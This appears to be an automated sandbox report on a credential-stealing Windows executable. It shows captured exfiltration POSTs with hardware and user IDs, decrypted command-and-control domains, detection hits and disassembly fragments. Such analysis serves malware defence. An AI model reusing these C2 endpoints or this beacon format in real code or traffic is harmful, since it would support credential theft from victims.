2025-03-09 12:49:37 UTC	15331	OUT	Data Raw: 2d 2d 71 30 4c 71 64 36 65 43 31 7a 76 37 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 75 69 64 22 0d 0a 0d 0a 62 65 39 33 65 31 32 61 66 37 66 31 35 63 33 33 30 31 39 36 62 35 64 33 66 64 36 34 65 32 37 35 65 36 30 66 63 61 65 32 30 33 0d 0a 2d 2d 71 30 4c 71 64 36 65 43 31 7a 76 37 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 71 30 4c 71 64 36 65 43 31 7a 76 37 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 37 38 41 30 41 36 32 35 39 33 41 43 43 31 37 45 33 Data Ascii: --q0Lqd6eC1zv7HContent-Disposition: form-data; name="uid"be93e12af7f15c330196b5d3fd64e275e60fcae203--q0Lqd6eC1zv7HContent-Disposition: form-data; name="pid"1--q0Lqd6eC1zv7HContent-Disposition: form-data; name="hwid"178A0A62593ACC17E3
2025-03-09 12:49:37 UTC	15331	OUT	Data Raw: bb aa 10 67 38 8c 28 42 51 eb cc 67 9c b1 a1 19 f1 fd 3a fa 8a bf 23 d9 e6 7d 4d 51 16 29 4d c4 84 ee 3b e9 9a 6e 43 83 4c 2f 3a ae 72 e5 da 69 de 5e 3f 4d 44 1a 32 de 00 13 8c cd aa 30 b4 a1 17 df 7d 4e 52 b9 cc 67 53 63 87 d7 f8 ca 14 a4 e8 10 d4 a1 3b 61 b4 36 9b 4c 80 be 75 03 96 36 66 e3 93 44 96 08 6e af 95 20 14 d0 bb 89 ed 60 ab b7 c1 16 14 79 ce 78 b1 ff e1 3f f2 9f 69 e1 bd a0 bb 73 80 61 6d 06 13 10 7d 27 cb 36 c0 38 ff 8c 1e f3 99 e3 dc bc 81 63 82 e9 96 ef 67 81 c2 8f 25 70 1d 76 14 d6 40 a0 c4 0c ba fb 68 f0 5c 92 e3 89 39 c5 80 9a 40 71 4f 7f 07 8b 2d a1 54 3d 41 5f 1c 6c 4a 87 72 e8 55 a4 89 0e 55 82 03 c6 24 05 13 e8 fc 17 8e a6 99 5b 3a 44 67 c8 3b 1b 8f 36 84 75 bd 5e 3c 0b 81 2a 42 ff f0 b7 e6 46 9b 5b 8c da 5a 86 ca a4 d3 7a 6a f1 ef Data Ascii: g8(BQg:#}MQ)M;nCL/:ri^?MD20}NRgSc;a6Lu6fDn `yx?isam}'68cg%pv@h\9@qO-T=A_lJrUU$[:Dg;6u^<*BF[Zzj
2025-03-09 12:49:37 UTC	15331	OUT	Data Raw: 40 40 91 e1 9f ad 02 46 eb 0d 0a 68 65 93 94 a5 6e 82 00 66 3d 03 4d 80 d9 f4 24 3b 8b 43 e1 ee 7a 72 0b 23 68 65 e5 28 c6 2d 22 e2 8c cc 91 0d 8e 24 04 09 21 c0 5f 28 37 4f b9 f4 b2 4f 3d c9 ef e1 25 6d ea c3 53 d0 d5 70 11 6a 8d 09 b0 c6 55 26 14 f0 0b 22 68 59 07 09 3b 07 99 21 2e 40 2d 51 de f8 cd fe 7e 02 c9 d6 40 42 44 87 20 9f c5 a7 fd e0 60 27 18 d8 2a 88 97 5b 80 bb a0 3f 66 71 65 97 f5 eb 90 69 64 3c 3a ac bd 73 da 02 e1 79 1d cc 63 98 0d 15 d7 04 38 a0 1c 35 e7 af 92 f0 70 94 64 07 2c 5c d7 db 55 68 be d3 94 e8 d3 2b 1d 48 f1 77 a2 7e 35 1c 8d 2c 86 29 32 6f 1f a5 5d 35 f4 fc cd 01 be ea f9 69 2d d8 6e 75 e1 dc bb d1 a8 a6 0d fa d1 2b 6d 26 c2 63 86 b8 80 1e 00 d4 fc 40 b9 63 9b 7d b8 bf 1a c3 22 ea e0 49 b6 27 8a 10 4b 53 93 ad ab ca 2d 55 2a Data Ascii: @@Fhenf=M$;Czr#he(-"$!_(7OO=%mSpjU&"hY;!.@-Q~@BD `'[?fqeid<:syc85pd,\Uh+Hw~5,)2o]5i-nu+m&c@c}"I'KS-U
2025-03-09 12:49:37 UTC	15331	OUT	Data Raw: e0 80 ab 76 be 2f c0 bf 6a 8f 77 f2 a7 af 10 77 80 b3 97 1f db 0a 26 99 20 1a 56 8b 69 d0 48 cd 7c 1b 66 61 52 69 db 74 a5 cd 00 45 a5 73 06 ff 41 14 70 35 08 07 34 1f f2 e0 5b 79 ec cf e8 88 d3 d8 76 db 22 a2 62 51 eb 4f 35 2a c4 bf c2 e8 c9 88 76 e0 91 1f e6 c2 46 c9 2c 39 4d e4 7f 61 2c 6b a0 6b fb c2 1b 6c 52 fb de f7 4a 77 61 65 7b 07 b8 8b a7 c7 c9 c9 bc 7e 22 bd e9 59 27 57 23 8c cf 68 f5 f9 24 37 d4 1d 30 14 a1 c5 a3 ae ff c2 d9 c0 27 6a 7b 62 32 e9 a5 ef a5 4e 85 b7 5f 87 81 ed f9 f6 4b a7 76 44 05 7f 58 a4 99 67 fd 89 6f ee 4b 79 49 9e c9 2f 81 e0 3d c5 e4 81 fc 3a c4 7c de cd f1 5e 6c 0f 93 fb 8a 78 e4 c4 90 27 ac 53 17 23 6d 4b 69 c7 c9 6a 7c 0c 3d 82 42 7a 54 33 ad b9 5c 15 5a 19 43 33 77 47 9b e5 63 b2 95 82 57 ea 05 15 f0 7d de 26 ef 8a dd Data Ascii: v/jww& ViH\|faRitEsAp54[yv"bQO5*vF,9Ma,kklRJwae{~"Y'W#h$70'j{b2N_KvDXgoKyI/=:\|^lx'S#mKij\|=BzT3\ZC3wGcW}&
2025-03-09 12:49:37 UTC	15331	OUT	Data Raw: ee 7b 07 12 30 f2 6d 1b 87 48 94 57 26 6c ad 98 05 c8 0a ce 54 dc 3e 38 6e 84 82 82 11 18 f9 25 79 18 54 1c a5 f4 c8 e6 8e 8a b5 8a 9a f1 79 54 6a da 90 01 ff ab 69 50 c0 94 d4 da b2 e7 9c ca ff 36 ec cf 7f ef 60 83 d7 15 d7 99 bf 3e 50 ed 4e a1 7b fd c3 b7 51 43 80 06 33 e7 ce ea d8 65 76 e7 10 ca 65 5b 89 d5 20 33 a1 85 1f 85 c1 a9 13 6f 5b 5d 5c e3 d8 f1 12 3d c6 6f 58 e1 c1 80 26 84 a0 04 e4 c1 8d 1e 99 cf 12 7d 4a b3 e1 bd 0b 50 23 34 57 7f 90 75 c7 69 c8 89 45 d1 42 a6 e7 b6 46 16 9a 2a ca be b2 e2 d8 0e 80 d5 ea 0d 3d 4e 74 00 9a 1e 2d 64 4f 49 a6 c0 44 ff 5f 5d d6 53 da db fc f3 0f 54 cf 47 2c 31 11 f6 71 91 55 1a e8 d5 05 92 32 05 08 81 4b e9 4a b7 6f bb 58 10 92 af 11 b9 43 a0 08 c4 c2 76 01 e9 4d f2 46 af 21 db 35 b5 00 4e 5b bc 3a 4f 52 35 d4 Data Ascii: {0mHW&lT>8n%yTyTjiP6`>PN{QC3eve[ 3o[]\=oX&}JP#4WuiEBF*=Nt-dOID_]STG,1qU2KJoXCvMF!5N[:OR5
2025-03-09 12:49:37 UTC	15331	OUT	Data Raw: 8a 41 dd 8c 23 8d a1 fc 90 3c c9 e5 fa 90 4f 87 31 54 cf 63 f7 4b cf f3 3a b4 26 cd d2 74 84 7f 32 49 36 6f 5e 6a 8c b6 66 96 60 fc 83 63 d5 9c 0e 5a 67 12 6d 03 3a 4a df 47 b2 fb f0 7f f3 6f 23 61 92 2e 5b 29 3b fc 5e 25 4b 13 18 2b 6d c4 25 34 ca b2 54 0b c1 a2 a9 1e e7 a8 41 a6 44 c6 0b 83 b6 b4 1d 97 f3 3f e9 54 f0 05 ff 1e 85 19 d3 bc 18 e5 ca b8 f8 8c e1 c9 5a d7 5d 55 98 90 68 0f 88 aa 8a f7 71 9d 1c ec 4d 54 df ba d2 bf f1 e7 99 64 ab b8 df f5 74 46 e1 f0 c9 e1 72 27 00 7c 79 37 3a 4b aa b4 7d 44 aa 2f 89 37 b6 07 f3 68 77 51 6a 61 e5 ff 12 c7 a9 c1 75 9e d8 78 c7 21 ce 97 61 6a 59 a4 62 d3 56 1e 67 b0 7e 42 b2 b2 ec 56 4e be b2 93 75 6a bf ec 33 05 6f ee d6 39 73 64 dd 86 b8 90 57 d8 02 f7 61 e1 96 af 85 c0 c2 24 18 bc 44 f3 9f 6c 3e 47 41 0b f1 Data Ascii: A#<O1TcK:&t2I6o^jf`cZgm:JGo#a.[);^%K+m%4TAD?TZ]UhqMTdtFr'\|y7:K}D/7hwQjaux!ajYbVg~BVNuj3o9sdWa$Dl>GA
2025-03-09 12:49:37 UTC	15331	OUT	Data Raw: 73 ce cb 24 8e 4a 5d 95 b8 7e b2 bb ce 89 d9 9d 49 fe 5e 70 7f 2e c6 65 6a c7 91 15 92 7d d6 56 ee ed 81 c7 6d ea 52 24 c1 8e 1f 36 a4 0c 98 0a 82 50 ab 40 c9 0c e4 2d 06 38 61 61 8f bc 89 08 32 cd f1 b3 0c f0 d8 f6 de a6 8d a2 df 22 67 b1 48 70 72 e9 d5 85 62 0a 9a 06 cb 1d 54 10 87 e2 0a 4a 9c b1 4b ec ec f9 16 c5 f2 71 82 b4 c7 5e 74 02 4a 7c 5c 99 67 9f 1a 49 dc 38 6f be 5d 23 69 7b 0f 5e 48 ed 7e 4c e1 af 2e e6 ac 91 4d 1c 60 92 fe 29 8b 6a 9a 63 f6 91 dd 2a 79 af 45 bc a0 ba 8a e0 fe 45 c4 18 5c 71 70 fa 89 4c 6b 09 87 3c 25 2c ab a2 ac a6 d2 4e 5f d5 b7 54 39 c3 60 2f bf f4 ac 6c 38 f5 ad 33 6b 78 10 d5 89 73 be 9d c1 ed 42 80 0f 27 39 fd 4e 1b b5 55 29 7e 64 e0 ae c0 92 9a 33 d7 bb f6 e7 8a cc 4f 1e a6 1f a9 69 bb 19 91 e1 27 77 c4 0a 04 13 ab 4b Data Ascii: s$J]~I^p.ej}VmR$6P@-8aa2"gHprbTJKq^tJ\|\gI8o]#i{^H~L.M`)jc*yEE\qpLk<%,N_T9`/l83kxsB'9NU)~d3Oi'wK
2025-03-09 12:49:37 UTC	15331	OUT	Data Raw: 65 e9 31 39 a7 85 31 97 55 53 e8 e6 1e f5 24 d6 21 f9 bd e0 2b 15 3f 1a c7 d0 51 9c 75 40 20 f4 3f c2 36 eb 17 55 2c 43 f4 b3 88 63 2c 45 bd 92 74 58 21 5c 2a c2 7b 88 72 1b ef e2 be 85 2c 68 e7 94 6c cc 7a 6e 23 e5 70 c2 2f 0a 82 f5 40 a6 10 97 1c 2a 63 b1 f1 78 e5 fc ab 41 b1 c8 05 52 eb 06 59 99 b5 25 27 bf a6 40 f1 50 5e a6 b9 20 c5 63 7a 47 43 18 c4 72 d9 fd 75 7f 33 64 74 3e e5 75 d4 99 8b 00 d9 68 ac 02 61 88 d7 d6 ca 7e bf b9 a1 ba db d3 42 95 9e eb 5d 43 8d e4 c8 d7 40 58 00 8c 37 1f 65 83 a2 66 1c e8 ed bf 66 80 85 51 41 f5 8e e4 68 bb 29 9b 26 64 a3 e3 78 68 e7 3b c6 d2 e0 fa 8e 2e b0 5b 8e da 74 65 e8 24 b4 d4 15 47 4a 9a 4f a8 a6 92 e3 95 3b d8 e2 22 1d e7 62 08 85 f9 f3 0d 51 19 15 40 0c fd e2 d5 31 8f 1b 5a 3c c7 b8 8d ce 67 5c c6 68 59 2a Data Ascii: e191US$!+?Qu@ ?6U,Cc,EtX!\{r,hlzn#p/@cxARY%'@P^ czGCru3dt>uha~B]C@X7effQAh)&dxh;.[te$GJO;"bQ@1Z<g\hY*
2025-03-09 12:49:37 UTC	15331	OUT	Data Raw: 7b 06 89 c5 d2 b8 e1 1f 47 9c a2 10 33 80 95 21 4b a0 a5 66 de 23 c5 04 91 7c 30 45 a3 89 71 5f f3 58 00 35 e8 78 d2 23 29 31 47 25 f5 54 b6 32 fd da 31 89 67 8a b6 1d 06 ba d1 e4 65 2e 80 f3 f5 a0 8b b3 83 51 5f d1 40 20 3e a2 a2 0f 5b 71 1a 63 ca f8 da e4 2b 0f 38 f9 a2 7c dc 97 be 1f c3 b4 b6 32 f3 b0 b1 01 af 52 93 e6 83 4c 9c 3b 07 ef 14 56 fd 19 73 57 ad 98 b5 2a f6 9e 50 bb 1f 9f 3f 45 80 ce 59 85 6f 8d db 29 32 60 44 7b b2 6f 4a 9e 45 84 be d7 24 6c 18 f1 0c 76 da ad f3 26 c2 4f d8 e6 ec c3 0a 28 ec 80 53 1c 54 9e f9 11 78 25 af d7 16 81 bf 8a a3 f9 df bb 7f 2c ce 67 97 03 75 17 4e 1d 37 5e f6 b6 48 a8 4e d6 1a 97 d0 f4 0e 86 5e a5 87 93 09 2f 6d d3 b0 73 1d a9 8e c0 76 33 df 67 06 ca 3d 98 fa 63 95 9d 1b fa 75 7c a0 7c d6 b4 f1 44 7b 9f de 61 6a Data Ascii: {G3!Kf#\|0Eq_X5x#)1G%T21ge.Q_@ >[qc+8\|2RL;VsW*P?EYo)2`D{oJE$lv&O(STx%,guN7^HN^/msv3g=cu\|\|D{aj
2025-03-09 12:49:37 UTC	15331	OUT	Data Raw: e7 48 a1 fa 94 4a 04 c6 90 6b 59 2f 12 5c 64 7b c2 33 34 c2 63 0f bf 72 27 b9 44 bc 8f 43 19 52 ec fd 6c d7 23 61 99 89 67 87 6f 41 a0 0c 05 2a a9 ec d8 61 d9 05 d0 5f 33 6c c9 bb 6c 78 5c 5f b4 0c 93 d2 b4 d7 ce f3 e1 cb be 6f b2 db 27 aa bd c4 4f 15 b7 71 af 59 c7 e4 ae 5f 2b a2 0a 97 34 3d 0d 4e 72 3d de 85 88 a1 a0 5d e5 0b 26 e1 e1 5f 4f 79 91 ef cb 6d c4 72 c0 d0 02 e3 21 14 f8 37 cd 30 a1 a4 40 65 96 05 c4 c2 08 60 82 d7 a7 12 d2 d8 54 98 ec b3 20 db 74 7d 86 a8 95 b7 e3 fd 12 4b 3a 02 fb f9 97 f6 23 7d 2e af b2 c4 d5 1d 06 85 4d 8b a8 98 e0 05 ef 78 00 ab 9f be 79 dd 35 9e 83 84 df 25 97 d9 59 60 2c 09 3c f5 17 a9 00 dd 96 f6 ad 84 47 40 d4 0a 04 e7 0f 45 5a 8d 8b 9d f1 a7 49 cc 2f cd 67 08 b3 4d a2 d4 d8 b3 e8 a6 33 07 7d fd 4e ad 60 40 c2 fc 08 Data Ascii: HJkY/\d{34cr'DCRl#agoA*a_3llx\_o'OqY_+4=Nr=]&_Oymr!70@e`T t}K:#}.Mxy5%Y`,<G@EZI/gM3}N`@
2025-03-09 12:49:42 UTC	820	IN	HTTP/1.1 200 OK Date: Sun, 09 Mar 2025 12:49:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=foJ8xaf%2FJDq7zj4Uah6SdCZm2ojjbLtbTbCuTsr5DLcHGfcDyl0C63%2FhbC7LAGPIBe8scyKaOxU1Xq7jtHpKNWxZjhCtD545BuaqKB2u1S8qbbn9SqZCX6rKlDEH03FGJw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 91dab1804f3e30e1-SEA alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=29807&min_rtt=28205&rtt_var=9205&sent=251&recv=410&lost=0&retrans=0&sent_bytes=2832&recv_bytes=555323&delivery_rate=100481&cwnd=249&unsent_bytes=0&cid=51d8b68136d00b36&ts=5503&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.9	49695	188.114.97.3	443	6576	C:\Users\user\Desktop\BTn1AT2k3Y.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-09 12:49:45 UTC	269	OUT	POST /QwdZdf HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 89 Host: begindecafer.world
2025-03-09 12:49:45 UTC	89	OUT	Data Raw: 75 69 64 3d 62 65 39 33 65 31 32 61 66 37 66 31 35 63 33 33 30 31 39 36 62 35 64 33 66 64 36 34 65 32 37 35 65 36 30 66 63 61 65 32 30 33 26 63 69 64 3d 26 68 77 69 64 3d 31 37 38 41 30 41 36 32 35 39 33 41 43 43 31 37 45 33 45 44 43 45 41 37 37 38 33 36 38 45 33 34 Data Ascii: uid=be93e12af7f15c330196b5d3fd64e275e60fcae203&cid=&hwid=178A0A62593ACC17E3EDCEA778368E34
2025-03-09 12:49:46 UTC	790	IN	HTTP/1.1 200 OK Date: Sun, 09 Mar 2025 12:49:46 GMT Content-Type: application/octet-stream Content-Length: 104 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SYZ2grrbek%2BMoLIh0Hq20O7ycY9GwInM5%2Bp2cNdrRXJibTZu6wsaKROfsMtqXK8mjrsutOCw%2FmQJ5Q5AM5BRVOV2G%2BMmZv5QqTrhk5iw3kh2wJ6N2k%2FiieP8mIV5wVAehKzK2Cc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 91dab1b5693527ea-SEA alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=29837&min_rtt=28367&rtt_var=9559&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=994&delivery_rate=85635&cwnd=238&unsent_bytes=0&cid=d775a7d5599fe933&ts=1298&x=0"
2025-03-09 12:49:46 UTC	104	IN	Data Raw: 51 a5 d2 a0 34 ae 6d 5a 00 ef 38 b0 a3 d0 0b bb 14 c0 cb 80 6e e9 88 4d 5d 02 6b a5 b2 fd 13 69 1e 38 b7 23 7a 1e fe c8 9d fd a2 40 69 ce b6 87 ca 25 89 93 4f 14 c6 16 87 a8 c8 e9 79 35 94 5d ee 7c 18 e2 6b e5 66 c3 82 e6 72 fb 55 c7 e2 57 d7 d8 57 83 83 06 d6 9f 66 eb 06 bf ba cf 10 c9 2a 60 6d 62 7c 9c 2b 38 Data Ascii: Q4mZ8nM]ki8#z@i%Oy5]\|kfrUWWf*`mb\|+8

Target ID:	0
Start time:	08:49:13
Start date:	09/03/2025
Path:	C:\Users\user\Desktop\BTn1AT2k3Y.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\BTn1AT2k3Y.exe"
Imagebase:	0x8d0000
File size:	3'190'784 bytes
MD5 hash:	FF1EBB565CA943B117AB688E10E9F10B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1044850890.000000000129C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Source: https://defaulemot.run:443/jUSiazV	Avira URL Cloud: Label: malware
Source: https://defaulemot.run/A	Avira URL Cloud: Label: malware
Source: https://defaulemot.run/e	Avira URL Cloud: Label: malware
Source: https://defaulemot.run/jUSiaz$$Z7	Avira URL Cloud: Label: malware
Source: https://defaulemot.run:443/jUSiazgram	Avira URL Cloud: Label: malware
Source: https://defaulemot.run:443/jUSiaz=C:	Avira URL Cloud: Label: malware
Source: https://defaulemot.run/	Avira URL Cloud: Label: malware
Source: https://defaulemot.run/jUSiaz	Avira URL Cloud: Label: malware
Source: https://begindecafer.world/QwdZdf-	Avira URL Cloud: Label: malware
Source: https://begindecafer.world:443/QwdZdfOFILE=user-PCUSERNAME=userUSERPROFIL	Avira URL Cloud: Label: malware

Source: 00000000.00000002.1205899832.00000000008D1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: defaulemot.run/jUSiaz
Source: 00000000.00000002.1205899832.00000000008D1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: begindecafer.world/QwdZdf
Source: 00000000.00000002.1205899832.00000000008D1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: garagedrootz.top/oPsoJAN
Source: 00000000.00000002.1205899832.00000000008D1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: modelshiverd.icu/bJhnsj
Source: 00000000.00000002.1205899832.00000000008D1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: arisechairedd.shop/JnsHY
Source: 00000000.00000002.1205899832.00000000008D1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: catterjur.run/boSnzhu
Source: 00000000.00000002.1205899832.00000000008D1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: orangemyther.live/IozZ
Source: 00000000.00000002.1205899832.00000000008D1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: fostinjec.today/LksNAz

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49686 -> 104.21.80.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49694 -> 104.21.80.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49684 -> 104.21.80.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49683 -> 104.21.80.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49688 -> 104.21.80.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49685 -> 104.21.80.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49695 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49693 -> 104.21.80.1:443

Source: global traffic	HTTP traffic detected: POST /jUSiaz HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 51Host: defaulemot.run
Source: global traffic	HTTP traffic detected: POST /jUSiaz HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=iUfoW1RM307Q6User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 14916Host: defaulemot.run
Source: global traffic	HTTP traffic detected: POST /jUSiaz HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=J9796FRtTUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15012Host: defaulemot.run
Source: global traffic	HTTP traffic detected: POST /jUSiaz HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=GufEFX35User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20523Host: defaulemot.run
Source: global traffic	HTTP traffic detected: POST /jUSiaz HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=zLfkrgaDUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 2499Host: defaulemot.run
Source: global traffic	HTTP traffic detected: POST /jUSiaz HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=q0Lqd6eC1zv7HUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 552824Host: defaulemot.run
Source: global traffic	HTTP traffic detected: POST /QwdZdf HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 89Host: begindecafer.world

Source: global traffic	DNS traffic detected: DNS query: defaulemot.run
Source: global traffic	DNS traffic detected: DNS query: begindecafer.world

Source: BTn1AT2k3Y.exe	Virustotal: Detection: 70%			Perma Link
Source: BTn1AT2k3Y.exe	ReversingLabs: Detection: 73%

Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_008EB1D8 CryptUnprotectData,CryptUnprotectData,CryptUnprotectData,	0_2_008EB1D8
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_008EB1D8 CryptUnprotectData,CryptUnprotectData,CryptUnprotectData,	0_2_008EB1D8
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 0_2_008EB55A CryptUnprotectData,	0_2_008EB55A

Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax]	0_2_009000B0
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 4x nop then cmp word ptr [edi+ebx], 0000h	0_2_0091C1D0
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-25088CECh]	0_2_008E2124
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 4x nop then mov ebp, edx	0_2_0091C320
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 4x nop then cmp word ptr [ebp+eax+00h], 0000h	0_2_008EA430
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx-000000B2h]	0_2_008E0994
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_008FCBB0
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 4x nop then movzx edi, byte ptr [esp+ecx+10h]	0_2_008F0B40
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax+10h]	0_2_008F0B40
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 4x nop then movzx ebp, byte ptr [esp+esi-000000FEh]	0_2_0091D0C0
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 4x nop then mov dword ptr [esp+04h], eax	0_2_008EB1D8
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 4x nop then mov word ptr [edx], cx	0_2_008EB1D8
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-4AF8CFA6h]	0_2_008EB1D8
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 4x nop then mov dword ptr [esp+04h], ecx	0_2_008EB1D8
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 93A82FD1h	0_2_008EB1D8
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 4x nop then mov byte ptr [edi], cl	0_2_009073CB
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 4x nop then lea eax, dword ptr [ecx-6C0B83CEh]	0_2_008DD780
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_008E1822
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], F7D6D3F6h	0_2_0091D960
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 4x nop then movzx eax, byte ptr [esp+ecx+14h]	0_2_008DDA3A
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+ecx+317AB538h]	0_2_008DDA3A
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+edx-443B8DA2h]	0_2_008EE0AC
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 4x nop then mov word ptr [eax], dx	0_2_008EE0AC
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-38B2FA5Ch]	0_2_00902120
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_00902120
Source: C:\Users\user\Desktop\BTn1AT2k3Y.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+12h]	0_2_008DC130
